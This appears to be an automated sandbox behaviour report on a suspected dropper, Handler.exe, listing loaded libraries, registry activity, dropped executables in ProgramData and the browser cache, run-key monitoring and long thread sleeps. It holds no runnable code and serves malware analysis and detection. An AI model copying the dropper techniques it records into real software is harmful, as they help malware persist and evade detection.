Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2536,i,12924977744264181476,18165705626258018536,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7068 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6988 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: version.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: mpr.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: wininet.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: winmm.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: rasapi32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: avifil32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: cryptui.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: wtsapi32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: rasman.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: msvfw32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: netutils.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: samcli.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: pstorec.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: wldp.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: propsys.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: profapi.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: winsta.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: firewallapi.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: fwbase.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: sxs.dll
Source: C:\ProgramData\us0r9ri58y.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\Handler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\ProgramData\us0r9ri58y.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Handler.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Handler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Handler.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Handler.pdbx source: Handler.exe, 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: Handler.pdb source: Handler.exe, 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp

Source: Handler.exe

Static PE information: 0xC6FB477C [Tue Oct 15 09:16:44 2075 UTC]

Source: us0r9ri58y.exe.1.dr	Static PE information: section name: .didata
Source: CrypterTest1[1].exe.1.dr	Static PE information: section name: .didata

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_004487CF push eax; ret

1_2_004487D0

Source: C:\Users\user\Desktop\Handler.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\Handler.exe	File created: C:\ProgramData\us0r9ri58y.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Handler.exe

File created: C:\ProgramData\us0r9ri58y.exe

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\us0r9ri58y.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\us0r9ri58y.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\us0r9ri58y.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: 3050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\us0r9ri58y.exe	Window / User API: threadDelayed 4100
Source: C:\ProgramData\us0r9ri58y.exe	Window / User API: threadDelayed 5738

Source: C:\ProgramData\us0r9ri58y.exe TID: 2504	Thread sleep time: -8200000s >= -30000s
Source: C:\ProgramData\us0r9ri58y.exe TID: 2504	Thread sleep time: -11476000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 8820	Thread sleep count: 87 > 30

Source: C:\Users\user\Desktop\Handler.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041008C FindFirstFileA,	1_2_0041008C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004291EA FindFirstFileA,	1_2_004291EA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00428248 FindFirstFileA,memset,memset,	1_2_00428248
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042A4E5 FindFirstFileA,	1_2_0042A4E5
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040E749 FindFirstFileA,	1_2_0040E749
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040177C FindFirstFileA,	1_2_0040177C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00412AC9 FindFirstFileA,	1_2_00412AC9
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040CCEA FindFirstFileA,	1_2_0040CCEA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042BD1E FindFirstFileA,	1_2_0042BD1E
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004018DA FindFirstFileA,	1_2_004018DA

Source: C:\Users\user\Desktop\Handler.exe

